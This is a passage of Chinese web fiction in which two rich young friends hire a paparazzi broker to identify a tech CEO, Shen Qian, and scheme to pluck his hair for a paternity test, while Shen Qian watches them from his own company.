看着一脸信赖的许聪聪,崔磊磊觉得心理沉甸甸的,但不知为何又有点热血燃烧。他们虽然不是亲兄弟,但也神似兄弟了。
于是崔磊磊抬手拍了拍许聪聪的肩膀,意气风发,亢奋不已:“好兄弟,相信我们两个臭皮匠能够塞过诸葛亮的。”
“可别侮、辱诸葛亮了。”许聪聪反手拿开了崔磊磊的手,嗤笑道:“咱们可是被嘲倒数第一给倒数第二讲课的。在危机面前,盲目自信要不得。”
崔磊磊焉哒哒的哦了一声。
“普通自信还是要有的。给点阳光就够我们灿烂了。”许聪聪没好气的补充了一句。<
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崔磊磊噗嗤笑了一声,哥两好的拍了一下许聪聪的后脑勺,附和道:“也对,我就是太自信了。六块石头都压不住我要飘起来的跟太阳肩并肩的决心。”
许聪聪静默一瞬后,浮现相识后点点滴滴的友好画面,没忍住哈哈大笑。
听得爽朗的笑声,像是能够驱散股权利益等等的问题,崔磊磊也跟着乐出了声。
=======
开心过后,崔磊磊拿着抄好的公式以及潸然泪下的检讨书,乖乖巧巧的去公司负荆请罪,侦查是否有可疑敌情。
而许聪聪目送好友离开后,却是面色铁青的去了狗仔王明面上的公司。岂料一到达会客厅,就撞见了传说中狼子野心,连自己亲妈都能够逼死的许铮铮。
许铮铮神色带着讶然,“聪聪,你怎么在这?”
闻言,许聪聪斜睨了眼西装革履,一副精英扮相的霸总许铮铮,冷冷的反问:“腿长我这,我爱去哪就去哪。反倒是小许总你今儿翘班了?”
听得人带着些阴阳怪气的嘲讽,许铮铮也不知道自己这位太子爷弟弟又脑子怎么抽抽了,只能柔声解释道:“A总是研究AI的,公司要是能够跟人合作研发虚拟偶像,到时候肉眼可见能够获利颇丰。因此我找狗仔王想问问他的兴趣爱好,想要对症下药。但没想到他最近挺忙,都是助理接待,所以我就直接来公司看看。”
说着,许铮铮面色不自禁带着些愠怒。这狗仔王也就是许家养的一条狗而已。
与此同时,收到消息知道许聪聪亲自前来的狗仔王顾不得整理衣服,急急忙忙对着许聪聪弯腰道歉:“许少,您怎么亲自前来了,我眼瞎……”
许聪聪闻言直接打断了狗仔王的话,给人使个眼色示意别提沈谦的事情,边有样学样诉说自己的来意,“我找你是来查一下A总的私生活。先前我们在燕云会馆见过一回,崔磊磊那个颜狗瞅上A总的脸蛋了。”
说完还理直气壮的甩了个锅。
憔悴到想卖惨的狗仔王一听崔磊磊三个字,下意识的浑身一抖,面露惊恐:“脸蛋?”
许铮铮本就看着狗仔王对着许聪聪点头哈腰面带愠怒,再看见许聪聪如此漫不经心诉说脸蛋一词,差点维持不住自己表面上的温柔,警告道:“许聪聪,你们也太胡闹了,这事绝对不行。”
听得人下意识对他点名道姓的,神色间还有几分霸总之气,许聪聪眼眸微微一眯,不急不缓的开口试探道:“联姻不行吗?以磊磊的家世配他A总绰绰有余。A总既然想要在燕城混,联姻也是扎根燕城的捷径。”
看着许聪聪轻描淡写诉说联姻两个字,许铮铮眼底飞快闪过一抹怨恨。就因为联姻就因为要门当户对,所以爸爸就对她们母子俩不管不顾,让他们在外饱受屈、辱。
没错过人眼里带着的怨恨,许聪聪侧眸看向狗仔王,意味深长叮嘱道:“记住,是查A总。”
狗仔王立马点头若小鸡啄米,边眼角余光飞快横扫一眼许铮铮。
他干的属于灰色生意,本就要求机警。积年累月下来对恶感也更为敏感。先前没什么感觉,现如今他可察觉到这位传说中老老实实,温柔的许铮铮少爷,有点不人如其名的铮铮铁骨。
虽然不知许聪聪是不是心中有数,但他受的是许老爷子的恩惠,自然也是比较偏向正儿八经的许家大少爷。
心理琢磨着,狗仔王笑着道:“两位少爷,你们放心我立马就调查A总的兴趣爱好。”
听到这话许聪聪嗯了一声转身就走。
许铮铮见状头疼的揉揉额,面色沉沉的看向狗仔王,声音低沉了几分:“苟总,我希望你查到之后先别给聪聪。这事非同小可,到时候爸爸也会联系你的。”
说完许铮铮像是急着追许聪聪的步伐,便也匆匆离开了。
目送人走远了,狗仔王嘿了一声:“多大人了还告状?”
感慨着,狗仔王淡然吩咐助理:“先去工商登记网站看看这位A总什么身家背景,有什么密切合作人员,好好查查。最近想要知道这位年轻俊才的人不少。”
说完后狗仔王面无表情的从口袋里掏出眼药水,狠狠滴了两滴。
他最近除了废咖啡外,还比较费眼。
选美选到要吐的。
但钱多多。
想着账户余额,狗仔王面无表情朝忙得脚不沾地的会议室走去,就听得身后传来一声亢奋的,活像是公鸡打鸣的尖叫声:“苟总,您……您看啊!”
被吓得一个激灵,狗子王侧眸死死的盯着拿着笔记本朝自己狂奔而来的助理,“你最好有要紧事。”
助理激动的把笔记本往狗仔王眼前一塞,“您……您看啊。”
狗子王顺着助理的手指,瞥了一眼屏幕里显示出来的营业执照,吓得一个激灵,“去,把赵钱孙李给我叫出来。”
一口气把自己最得意的四个徒弟都喊了过来,狗仔王指着屏幕,沉声道:“你们眼神好,给我念一下这个公司营业执照上的法人名字。”
赵钱孙李四人瞪圆了眼睛看着名字,下意识的开口:“快,看照片啊!”
狗仔王:“…………”
11. 不谋而合
狗仔王立马两眼冒光,带着手下小狗仔们去盯梢A总。扛着设备,他还言之凿凿的分析:“现在富二代就流行装穷变形计,咱们崔大金主就是追赶时髦的弄潮儿。他既然言之凿凿对方姓沈名谦,那么很有可能其他信息都有误的。因此接下来的目标除了搞到A总的照片外,最好搞到对方公司家庭IP地址!尤其是人打游戏的照片。”
“老大年龄信息也对,这位A总就二十一岁!您看燕城人才引进政策里的公告。”助理亢奋的补充道。
狗仔王一目十行扫过相关的信息【有关国家级领军人才沈谦(曾用名:A总)落户燕城享受相关政策公告】,嘴角勾起一抹得意的微笑,“三千万来了!走。”
小狗仔们看着自家苟总熬夜猩红的双眸冒出诡异的亮光,齐齐点头,带着装备奔向三千万所在的公司——A总科技有限公司。
一个小时后,助理小白敲开了总裁办公室。
当被允许入内的那一瞬间,小白就尽可能的放轻自己的脚步,免得打扰到正在忙碌的沈谦。
因他们算得上初来乍到,此时正是忙碌的时候。办公桌上满满的需要批阅的文件。相比公司研发的产品而言,这些需要纸面批阅的文件,某些还是沈总最为厌恶的人情世故。但他们沈总却看得很认真,把燕城复杂的人际关系都捋得清清楚楚。神色间带着运筹帷幄,甚至是指点江山的决然豪迈之气。
光看着便让人心生敬畏。
小白双眸带着崇拜,恭敬的垂首低声禀告:“沈总您所料不差,根据AI检测燕城有名的情报贩子狗仔王已经带人潜入我们公司了。”
“狗仔王?”沈谦捕捉到关键词,眉头微微一簇:“狗仔王是许家老爷子的人。老一辈们出手了,那就把他们放进来看看老爷子们想要打探什么消息。”
小白闻言神色肃穆的颔首称事。接下来三天,他带人小心翼翼,恨不得寸步不离的监控着狗仔王一行人的一举一动,岂料这帮人煞费苦心跟踪伪装,除了拍照就是暗戳戳的打听他们A总玩什么游戏。
小白满脸问号。
狗仔王看着几乎在办公室不挪窝的三千万,眼角余光瞥了瞥催问进程的许聪聪,难得有些焦虑,低声跟徒弟吩咐道:“你继续打扫卫生,我得先去朝大明皇禀告一声。这三千万太子妃约莫初来乍到有点忙,没时间玩游戏。”
徒弟点头若小鸡啄米。
小白一行人各个目瞪口呆。他思来想去还是把消息传到了沈谦耳中,“我们派人跟踪了狗子王,发现他跟许聪聪汇合后去了崔家别墅。”
“崔家?”沈谦面色一变,认真回想了先前自己听到的话语,喃喃提出关键词:“在查我有没有打游戏?三千万太子妃?”
说完沈谦当即面色阴沉似锅底,笃定道:“肯定是崔磊磊见、色起意。去查查最近有没有崔家的商务邀请函以及立马去书店买一套高考辅导教材。”
小白听到这话吓得浑身一抖,眼角余光看着桌面上堆积如山的文件,急道:“沈总,您别再做高考辅导气自己啊。”
“…………当做礼物。”沈总缓缓吁出一口气,感受着脑海深处传来熟悉的针刺痛感,面色紧绷,薄唇轻启,吐出的话语,犀利若刀锋,带着凌厉的杀意。
=====
喝着核桃牛奶补脑的崔磊磊猝不及防的打了个响亮的喷嚏。
许聪聪直接把纸巾丢了过去,面色沉沉的看向狗仔王:“按着你的分析,沈谦或许是A总?”
崔磊磊闻言随意的抽了一张纸巾擦拭有些发痒的鼻子,眼睛一眨不眨的盯着神色憔悴的狗仔王,“你再把筛选过程给我捋一下。这个结论太震惊了。”
看着两人先后发表质疑的评论,狗仔王喝口天价咖啡提提神,继续慢条斯理的说来自己结论的依据:“按着崔少爷您给出的条件,我们在学籍网里大海捞针,顺道我派人潜入了燕城各大学校的考研论坛。但或许是我先入为主,以致于路子走窄了,忘记调查留学生学籍网。”
“筛选了大半月,我们剔除了年龄段在十八岁以下的未成年人以及女性。在三万人群中,按照崔少爷您的样貌标准,筛选出一百位疑似人选。”
说着狗仔王恨不得卖个惨哭出几滴泪水来。整整半个月啊,大海中捞一根绣花针,差点没把他们眼睛捞瞎了。
崔少爷不可置信的摸了摸自己的脸。
许聪聪讶然问出声:“有一百多人长得跟磊磊一样好看?这颜值水平太高了吧,娱乐圈都没这么多帅哥啊。”
狗仔王听到这话,不好意思的眨眨眼,继续娓娓道来:“这是在我们审美连轴转的情况下选出来的第一轮疑似人选。第二轮,我们额外花费了五万元审美基金,请了职业粉丝。从第三方视角下选出三位公认的帅哥。”
竭力强调了一番他们是真拿钱在办事的高效专业人士后,狗仔王目光看向许聪聪,带着佩服道:“少爷您来找我要A总资料那回,又无形之中给我们提供了另外一条出路。现如今大学生创业比比皆是,若真是贫穷而有智商,又是计算机行业的。不从事直播电竞游戏解说行业,那么从事电商创业也有可能。因此我们把工商登记系统又翻了个遍。”
崔磊磊闻言心跳都噗通噗通加快,猛得一拍桌案,崇拜的看向狗仔王:“你说的有道理啊,要是缺钱的话,打工还债很慢,创业还钱最快了。且计算机专业可以写外挂这些小程序啊!”当家教又去小吃街兼职洗碗端盘子,不太像准博士的智商。
狗仔王迎着崔磊磊直白崇拜的光芒,不好意思的垂了垂脑袋:“应该的。这些都是经验之谈。因此我们经过综合筛选,认为A总是您寻找的沈谦可能性最大。当然我们还需要一点时间来寻找确凿的证据。”
崔磊磊表情凝重的点点头。
见状许聪聪托腮瞥了眼崔磊磊的脑袋,望着靓丽的黑发,眼眸一沉,吩咐道:“你先去客厅喝喝茶休息休息,我和磊磊讨论一下。”
听得耳畔传来的提示音,崔磊磊按下按钮唤来管家老李,让人引着狗仔王去客厅。
等确定屋内只剩下他们两个人了,崔磊磊迎着许聪聪的眼神,当即明白人心中所思所想,小声问:“你有什么好主意拔沈谦的头发吗?”要确凿证据的最好办法就是拔头发。
“你就不确定沈谦长什么模样?”许聪聪看着人一脸希冀的目光,问道。
“你看小说能确定人长什么狗模样吗?没有特殊的外貌,比如美
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人痣之类的。都是刀削斧凿的刀削面脸蛋之类的描写,你让我怎么脑补他长什么模样?”崔磊磊闻言反问的言之凿凿。
“那没准沈谦的可能性真大一点。”许聪聪看着狗仔王大浪淘沙后剩下的四份资料,眉头拧紧成川,低声介绍道:“世家大族都会收养孤儿进行培养。毕竟自己养大的孩子,比市场上的职业经理人拥有更高的忠诚度。可问题是沈谦是言子辈,是正儿八经沈家外孙少爷。”
“你不是说他被送出去给其他人领养吗?”崔磊磊听到这话,下意识的回想起自己从许聪聪嘴巴里听到的秘闻。越想越觉得这个秘闻忒没有逻辑了,“若真是外孙,哪怕人走茶凉了,会直接被送出去给别人养?世家大族不是最要面子的吗?”且如果沈谦被沈家领养过,那他会十八班武艺,能唱会跳的逻辑好像就更加通顺了一些。
最后一句话崔磊磊没有说出口,只是抑郁的叹口气。
他要是能把整本小说倒背如流就好了。
可回想起剧情后,对于崔磊磊来说印象最深刻的就只有崔家的凄惨结局,至于后面主角团如何欢喜大结局,他……他压根就没看。
哎,学渣的本性在看小说时也突显无疑了。字太多,压根不会翻到小说结局,但前面几章翻的倒是滚瓜烂熟的。
说起来要不是同名同姓,他崔磊磊还不会看完前十章呢!
闻言许聪聪托腮沉思半晌,开口回答:“那我回海城一趟找我大表哥再旁敲侧击了解一下沈谦的情况。现如今……哎,要是沈谦真不是沈家外孙,只是收养的助理,那咱们也拿不到他的头发做验证啊。他现在也牛逼,是正儿八经的霸总,跟我们都没交集。”
“这还不简单。”崔磊磊闻言把营业执照复印件挥的哗哗作响:“找个宴会,我装醉酒,直接薅沈谦,不,A总的头发不就成了?”
许聪聪沉默了一秒,立马交代:“对了,我先前为了避开许铮铮的打探,就说你瞅上A总的脸蛋了,想要追他。正好利用你名声在外的颜狗属性,可以让这件事合情合理。不过你能够薅到A总的头发吗?他身边可有保镖,你身边也有保镖。”
崔磊磊看看自己的确有些白白嫩嫩,没什么杀伤力的手,缓缓抬手摸着自己的脸蛋,傲然,“我要表白,林跃他们总不能跟着吧?”
“那我想办法组个局?我把大表哥,黎家的继承人,沈家的外甥拉到燕城,以黎家的关系给他下请帖,他多少会给点面子。”许聪聪静静的看着捧着脸蛋得意的崔磊磊,脑海回想着从人嘴里听到的死讯,狠狠吁口气。
只要崔磊磊活蹦乱跳的,干啥都行!
想着,许聪聪释然一笑,幽幽的补充道,努力做好一个狗头军师:“到时候我引开他的保镖,你伺机而动,醉酒告白,然后醒来之后忘记所有。因为一场乌龙事情,第二天还能上门道歉。要是计划不成功的话,我们道歉的时候再见机行事?”
“聪明,就按着这个剧本来!”崔磊磊佩服无比,直接将自己的核桃牛奶一口闷,豪气万丈:“果然多个人就多个思路!”
敲定完找崔家真太子爷的大事后,崔磊磊低声,意味深长的问道:“你打探的怎么样了?我是要去医院看脑科呢还是不去?”
12. 亲自邀请
说完,崔磊磊正对上许聪聪的眼。
原本该带着些风流倜傥韵味的桃花眼一沉,让人猛然间便感受到阴森阴鸷的恨。尤其细细看过去,许聪聪的双眸布满了红血丝,宛若走火入魔的魔王,阴鸷狠厉气息也就越发浓郁了些。
以致于屋内的气氛都紧张了起来。
崔磊磊挠挠头,盯他两秒,最后败下阵来,直白问:“能直说吗?”他发誓除了臆想的大男主之路外,没有半点添油加醋的,严格按着小说介绍诉说许家的嘈心事。
许聪聪听得耳畔传来的催促,咬牙切齿的开口:“小说形容的挺对的。我就随意试探了一句查账,那些职业经理人就一脸阿斗看着我。甚至有些人因此都对我爷爷不满,认为他唯血统论,隔辈亲,指定我继承是老年痴呆!”
一想到自己捏着鼻子回燕城回许家的原因,一想到卧病休养的爷爷因为他被人这么污蔑,许聪聪手捏着咯咯作响,面色骤然阴沉似墨:“不争馒头我也要争口气。”
“这么严重了?”崔磊磊闻言一个哆嗦,掐指算剧情的时间点,不由心慌。
作为恶毒反派,崔磊磊智商不够家世凑爸妈添加助力。
因此他才能够跟沈谦为主的主角团斗了整整五年,比打不死的小强生命力还强悍。
“所以这回我也是借着打探A总的消息回海城搬救兵。”许聪聪看着崔磊磊紧张的表情,忙不迭的开口安抚,也是在自我宽慰:“放心,其实许家目前不算严重,就许铮铮瞎蹦跶想要夺权而已,还没有小说形容那样的阴、阳合同,逼良为、娼等等。所以也很好解决,我大舅二舅哪一个舅舅都不是好惹的。”
傲然着自己的身家背景,许聪聪带着鱼死网破的决然,一字一顿:“再说了,我完全能够以继承人的身份拿到合同和账本直接奔税务局实名举报,一口气把许家捅出个窟窿来。我宁可充公捐了也绝对不留给那些个杂种!”
这声带着前所未有的决然,回荡在整个书房上空,久久不曾散去。
崔磊磊看着面色冷峻,仿若一夜之间就成长蜕变起来的好友,沉思了半晌,附和道:“这算下下策吧。你当务之急还是先注意许伯伯的身体。整个许家乱起来就是从他生病开始暴露出来的。”
顿了顿,崔磊磊小心翼翼的看着怒火燃烧的发小,轻声:“他虽然私生活是挺渣的,可他也有风度,没那么丧心病狂的,否则我爸爸都不会让我跟你玩。”
说完自己尽可能客观的看法后,崔磊磊不安的看着许聪聪。扪心而论,他还是知道好朋友是渴望父爱,渴望家庭温暖的。而许伯伯吧,对许聪聪也是尽到了一个父亲的职责。但没有做好一个丈夫。
所以许家的家庭关系,真的乱。
“放心,我最近开始看宫斗片和警匪片了。不长智商,我也会多学些套路。”许聪聪迎着崔磊磊担忧的眼神,缓缓吁出一口气,轻描淡写的开口:“那个渣男私生活败坏,也只有我这个正儿八经的婚生子说得。其他人还不配。靠着渣男的钱过得富贵体面的,反过来倒打一耙,我连徐阿姨的母爱都不给许铮铮留!”
带着决然的狠厉,许聪聪眼里带着些火焰。
自打妈妈因病早逝后,他虽然被接回黎家,可八卦小报却没有地域局限性,因此许渣男的风流韵事无处不在。在日复一日的指指点点下,他许聪聪除了爷爷外对许家的一切充满了憎恨,包括他曾经崇拜过的爸爸。
但不得不说的的确确徐阿姨伏低做小了十几年。他也是因此羡慕许铮铮,外加知道徐阿姨的悲惨遭遇后,才点头让许铮铮进许家的门。毕竟徐阿姨也不是破坏婚姻的小三,毕竟许家也有培养孤儿的惯例。
但万万没想到培养出一条白眼狼来。
越想许聪聪眼里燃烧的火焰越盛:“要不是怕勾起徐阿姨的伤心事,我直接一个亲子鉴定就把许铮铮扫地出门了。”
本有些焦虑不安的崔磊磊听到这话,倏忽间一笑。
他就说嘛,他的发小其实也没有那么阴沉沉的像个恶毒反派,反而有点像榴莲。看起来浑身布满了棱角,犀利的扎人。哪怕剥开果壳后,味道都有些冲。可榴莲肉还是香香的。是当之无愧的水果之王,是心地善良的太子爷。
似乎能嗅着榴莲香,崔磊磊美滋滋的抬手拍拍许聪聪的肩膀,宽慰道:“不生气。要是我们实在搞不定的话,按着计划跟大哥说!”
“嗯,眼下重要的还是你崔家。现如今也五月份了,一晃就放假了。”许聪聪享受着肩膀传来哥们安抚的力量,只觉得自己抓住了面对残酷现实的勇气,能够客观冷静的分析:“且我总觉得邮寄亲子鉴定的主使者背后有阴谋。我们提前告诉崔大哥,反倒是能够掌握主动权。”
崔磊磊颓然的摸摸脑袋,把营业执照复印件翻来覆去的看了又看,“都说旁观者清啊。经过狗仔王这么一调查,好像就出现很多不合逻辑的地方。”
“嗯。”
摸着脑袋忧愁的哥俩重新把狗仔王叫进了小书房,许聪聪抢在崔磊磊开口吩咐道:“先详详细细调查A总,收集他的消息。其他三个沈谦也调查,最好拿到他们的头发。我要做亲子鉴定。”
狗仔王看着亲子鉴定大户,眼皮猛得跳了一下:“这……这又冒出一个?”
崔磊磊错愕的看着一本正经瞎编的许聪聪,没忍住想要鼓掌。
对方说的好合情合理的。
许聪聪是娴熟无比的给自家老爸甩黑锅,道:“你也是老熟人了,我不瞒你。有神秘人士给我送了一份快递,说沈谦这人是我爸的崽,还不给全所有信息,引导我自己去查,很明显要激怒我。毕竟你算算沈谦年龄。若事情为真的话,那许渣男是渣出水平来了,婚内出轨,还趁着我妈怀孕的时候乱搞。这事要是被我舅舅他们知道了,能够直接把许董丢公海喂鲨鱼。”
迎着崔磊磊佩服的眼神,许聪聪傲然一昂头。
他熬夜八倍速看的宫斗片不是白看的。
为自己的机灵点个赞,许聪聪声音压低,目光沉沉的盯着狗仔王,带着显而易见的危险气息:“先前唯恐你先入为主,因此拜托磊磊给你信息。可现如今查出来大概率却是A总。所以这事就值得深思了。比如肉眼可见的,A总和公司若是联手研究出虚拟偶像,我们许家的文娱市场地位就更加稳固了。”
狗仔王迎着许聪聪难得犀利的眼神,顷刻间觉得自己先前喝下的咖啡此刻发挥作用了,整个人脑子无比清醒,明确知道自己接下来要干什么,积极无比,就差拍胸保证:“聪聪少爷您放心,我肯定会调查清清楚楚的。”
许聪聪迎着狗仔王眼里涌动的报答之情,心虚的移开了眼。但下一秒还是认真叮嘱了几句,又把调查费用涨到五千万,才让人离开。
目送着狗仔王离开,崔磊磊急道:“你给许伯伯扣黑锅就算了,这个钱,我有啊!”
“你的零花钱留着,”许聪聪忽然间觉得自己很有霸总的远见:“没准我以后东山再起得靠你呢。现在有大肥羊不宰白不宰。”
崔磊磊想想不差钱的许伯伯,跟着点点头:“我偷偷给你设个账户,把钱打进去。”
顿了顿,崔磊磊一脸警惕,低声:“狗仔王可靠吗?他不会直接跟许伯伯说吧?”
“可靠。你别看他现在长袖善舞,油腻中年人的样子。他……”许聪聪哪怕知道周围很安全,但还是环顾了四周一圈,才凑在崔磊磊耳畔诉说人可靠的原因。
崔磊磊目瞪口呆,肃然起敬。
而被议论的狗仔王却碰上了遛狗回来的崔父。
“崔董。”狗仔王谄媚一笑,“您好。”
崔父拉紧了狗绳,神色带着些困惑看向狗仔王,不急不缓的开口问道:“你是……”
“鄙人,”狗仔王想着崔父的性子,特意文绉绉的用词,接着道:“是闻天下的首席执行官苟旻。”
“大名鼎鼎的狗仔王怎么来我家了?”崔父声音都低沉了几分,带着些审视:“是磊磊那混小子找你办事?”
“是。”没错过对方眼里带着慈父的担忧,狗仔王遮掩住心中的一丝羡慕,立马笑着开口介绍道:“小少爷的毕业论文《试论新媒体环境下播音主持专业学生新闻能力的培养》需要些实践数据,因此聪聪少爷就让我过来给提供一些专业性的意见。”
崔父见狗仔王把毕业论文的题目娴熟无比的说出来,当即面色大喜:“这么说磊磊这孩子这些天真踏踏实实窝家里写论文?”
说着崔父看着神情似乎有些拘束的狗仔王,立马把狗绳往助理一递,哥两好的拍拍对方的肩膀:“哎哟,你说说他们这两熊孩子,也太不懂事了,您既然来教课的,就是崔家的客人。来,坐下喝一杯!老李,去把茅台开起来。”
瞧着果真一涉及孩子学习就很认真的崔董,狗仔王讪讪的笑着:“崔董您客气了,这些都是我应该的。”
“要的要的,我替他们给你赔不是。这孩子被我宠坏了,不懂规矩。”崔父热情无比的拉着狗仔王坐下喝酒聊天。
狗仔王:“…………”
把人客客气气送走后,崔父看着红着眼离开的许聪聪,虽然纳闷但也没说什么,揪着崔磊磊的耳朵破口大骂:“尊师重道这个道理跟你说了多少遍了?咱们是文化人,懂吗?用钱把人呼之即来挥之即去的,显得你没礼貌,暴发户知道吗?”
早已收到狗仔王解释的短信,崔磊磊乖巧认错:“爸爸我知道错了,我就是写论文迷糊了。”
“这还差不多。”崔父看着乖乖巧巧的儿子,姿势娴熟无比的改成戳崔磊磊脑门,语重心长的:“你也长点脑子,这几天是不是光顾着讨好你哥,顾此失彼了?”
“爸您这话说的,”崔磊磊捂着耳朵,一脸委屈:“我不是天天在家陪您给狗子洗澡吗?”
“蠢货,你妈。”
崔磊磊闻言仔仔细细想了又想,不解:“我妈她老人家不是出差去了吗?我每天都有问好的。”
“养儿千日用儿一时没听过?”崔父恨铁不成钢着:“五月十九号是天仪服饰成立十九年的庆祝日了。你要积极毛遂自荐去当主持人啊!”
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说着崔父骄傲:“磊磊,你可是拿到过国家新闻栏目实习机会的播音主持系的学生。”
一听到自己曾经走过狗屎运的实习机会,崔磊磊嗷嗷嗷了三声:“爸,您能别提这事了吗?伤自尊。”
说话间他还听得崔家宝贝狗孙子跟着嗷嗷的应和起来,当即愈发欲哭无泪。
听得一先一后响起的嗷呜声,崔父悲愤欲绝的跌坐回红木沙发,面无表情喝闷酒。
别问,问就是跟国家台画风不和。
见状,崔磊磊积极无比给自家忧愁的老爸捏肩,谄媚道:“报告父皇,我保准完成主持任务。不过作为主持人,我能不能对商务宴会邀请的宾客,提一点小小的建议?您帮忙参谋参谋,看看母上大人能不能同意。”
崔父感受着力道合适的按摩,惬意的眯了眯眼,“说。”
“您看那大名鼎鼎的A总初来乍到的,跟我们也算有缘,我们邀请他一起参加好不好?”崔磊磊凑崔父耳畔,带着撒娇的口吻诉说。
崔父闻言直接一个手抖洒了酒,侧眸定定的盯着崔磊磊,“听说他挺好看的?你们在燕云会馆见过一回了,是吧?”
崔磊磊想也没想,直接点头应和:“好看。”
崔父狠狠深呼吸一口气,把酒杯往茶几上一搁,扭头就找抱枕抽向崔磊磊脑袋:“我就说奇怪了怎么狗仔王跑咱们家来了,敢情是为了打探A总啊,还骗我研究论文?!崔磊磊你厉害了,男朋友一茬一茬的跟割韭菜一样的换。”
崔磊磊猛得后退,掐指算了又算,极力澄清:“爸,我连初恋算一起才三个男朋友。都还只牵小手呢,您别说的我像海王一样。”
早恋初恋外加两家戏言过的娃娃亲盛霖,跟崔磊磊的gay密在一起了,一个渣,不提了。
大一的时候,他秉承着找个有才有貌的人互补,风雨无阻的送了一年的盒饭,勾、搭上燕城大学数学系的博士闻人羽。但最终交往不过一天,因为实在找不出共同话题,于是和平分手。
大三了,他崔磊磊清醒认识到他就是一个俗人,于是跟随时髦的捧了个金丝雀爱豆柏川。岂料塌房了。
崔父闻言抱住抱枕,仔细想了又想,狠狠吁口气:“你说的也对。那这回你看上A总的才华还是脸蛋了?”
崔磊磊听到这声老父亲发自肺腑的提问,眼角余光瞄了瞄崔父光溜溜的脑袋,轻咳了一声:“看上他满头秀发。IT人才竟然不秃头,足以见证人身强体壮。”
崔父:“…………”
捂着被揍的伤,崔磊磊经过郑重的申请,被允许先组个年轻人的庆祝party预热。服饰公司庆祝生日,小年轻们妥妥要时装秀,妥妥要做造型,妥妥要被拔头发,嘻嘻!
越想越激动,崔磊磊就郑重的拿着邀请函亲自登门,打算邀请年轻人A总。
前台尽职尽责的拦下崔磊磊,压下眼中的惊艳,紧绷着脸问:“您好,请问您有预约吗?”
崔磊磊准备充分,闻言迫不及待道:“您好,我是天仪服饰公关部代经理,有过预约的,在下午三点。”
“您好,您预约的是下午三点?”前台核对信息,着重看了眼时间,有些讶然的看着大中午前来的崔经理,小心翼翼强调:“三点。”
“A总是贵客,因此为表郑重我提前来。”崔磊磊笑着:“我可以去会客室等待。”会客室万一有头发丝呢!
“那您这边请。”
“谢谢。”
崔经理含笑感谢,顺着前台的指引迈入会客室,匆匆打量了一眼,当即眼皮一跳。
这不愧是科技公司,装修风格是后现代工业风,带着肃穆,像是无声的在强调什么叫高效996一样,一点都不温馨。连小零食都没有。
看着秘书公事公办的递过一杯咖啡,崔磊磊含笑感谢。
一眼扫过几乎干干净净不染尘埃的会客室,崔磊磊把自己扒头发的主意默默埋藏在内心深处,面无表情的端坐。
渐渐的,崔磊磊晒着落地窗入内的温暖阳光,无意识的打了个哈欠。
结束了会议的沈谦路过会客室,脚步忽然一顿,神色晦暗不明:“他怎么在这?”
助理小白看着会客室内睡着的崔磊磊,回想着自家boss曾经铿锵有力的真爱一词,吓得浑身一抖,连忙查到原委。
三十秒后,小白低声汇报:“天仪服饰将在5月19号举办十九周年庆,崔经理前来送邀请函。”
“崔经理?”沈谦意味深长的念着职位,目光幽幽的看着崔经理。
崔经理此刻还挺乖巧的,没有张扬舞爪的蹦跶劲。整个人往后靠着沙发,睡得还挺香。貌似感觉空调开高了些,还无意识的抱紧了胳膊。浑身上下带着被娇宠长大的肆意。
冷哼了一声,沈谦面无表情道:“把他泼醒。”
小白瞪圆了眼睛看向曾经说过真爱的沈谦,结结巴巴的开口:“泼……泼醒?正常做法不是吻醒也是加个小毛毯啊!”
沈谦瞥了眼小白,“正常做法?你觉得我是个正常人吗?”
13. 打脸神器
沈谦反问的理直气壮。
他本来就不是个正常人,是个天煞孤星,自带万人嫌体质。
曾经沈谦严格自我要求,努力学习却被认为是在争权夺势,包藏祸心。被绑架了,还得靠自救,躺进ICU了还得被骂一声活该。可偏偏沈谦命里带贱,为了获得沈家的承认,为了获得妈妈的认可不断付出,甚至屡战屡败,屡败屡战。直到患有抑郁症的养母最终不忍病痛折磨结束自己,旋即沈谦身世被拆穿,被沈家毫不留情的索要天价教育费用——十亿!
怀揣着对血脉亲情的渴望,沈谦找上了崔家。他能够容忍亲生父母更加疼爱养在身边多年的假儿子崔磊磊,能够理解大哥更加喜欢傻白甜的弟弟。他竭尽全力讨好家人,想发设法让自己变得“讨人喜欢”,但却愈发被父亲无视,母亲厌恶,哥哥恶言相对。
因此只能按着迷信的说辞,用天煞孤星自我开解。
回想着梦里出现的一幕幕往事,沈谦瞥了眼似乎拥有万人迷体质的崔磊磊。对方被宠的,连在别人家会客室睡觉的事情都干得出来。
工作场合这么心大。
真得是太能耐了。
“不愧是燕城的孔雀小明皇。”沈谦一字一顿的说完,唇畔勾起一抹嗤笑。
一声带着尖锐,短促的,有些像是斑鬣狗模仿人类笑声的恐怖叫声突兀的在耳畔响起,吓得小白浑身一僵。但还没来得及思忖该如何回话,他就听得自家沈总语气却平平淡淡,带着些惯有的优雅,低沉,仿若天籁一般,再一次开口吩咐道:“泼醒,泼不醒就打醒!去拿工具……”
小白毛骨悚然。
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做着美梦的崔磊磊浑然不知危险悄然逼近,他此刻正美滋滋的看着自己指缝间抓到手的一份又一份的样本,仰天大笑,亢奋的数了一遍又一遍,甚至摩挲着发丝。
沈谦的发质看起来不错,乌黑发亮,捏在手心里也是有点软。
刚想要把头发拿起来看一眼发囊时,崔磊磊倏忽间瞪大了眼睛,傻愣愣的看着发囊诡异的一亮。下一秒头发有灵一般膨胀成蟒蛇一般粗大,一下子就把他缠绕了起来,冻得他浑身冰冷。甚至蟒蛇还张开了血盆大口,呲呲的吐着蛇信子,刺激着他满脸生疼。
崔磊磊:“??!”
崔磊磊失声尖叫,猛得一个鲤鱼打挺就站直了身,紧张的环顾四周。待看清周围简洁肃穆的摆设,崔磊磊狠狠松口气,眯着眼静静的看着不远处站立的两个陌生人后,脑中空白了一瞬。
半晌后,他惊魂未定的掐了一把自己的脸,疼得倒抽一口冷气后才松口气,“原来是做噩梦啊。”
沈谦冷冷的“嗯”了一声,眉眼间带着锐利,“醒了?”
崔磊磊听得冷冰冰的一声呼唤,眼角余光扫了眼面色冷峻的沈谦,做贼心虚的擦擦额头的汗珠,边琢磨着该如何解决这尴尬的一幕。
忽然间崔磊磊鼻翼一动,嗅着手背上若有若无的草木清香,眉头微微一簇。带着困惑,崔磊磊小心翼翼的又嗅了嗅,确定自己鼻子没失灵,他真的嗅到了熟悉的六圣牌卸妆水的味道,不由得抬头看向沈谦。
近距离看着传闻中的A总(沈谦),他不得不感叹一句颜值不错。相比人力资源网上资料中的证件照来说,现实中的A总脸更加有高级感。瞳孔漆黑,纯粹明亮,仿若画龙点睛的一笔,让人看起来不沾世俗的利、欲,带着得到成仙的洒脱释然,可又平添了几分鲜活之气。
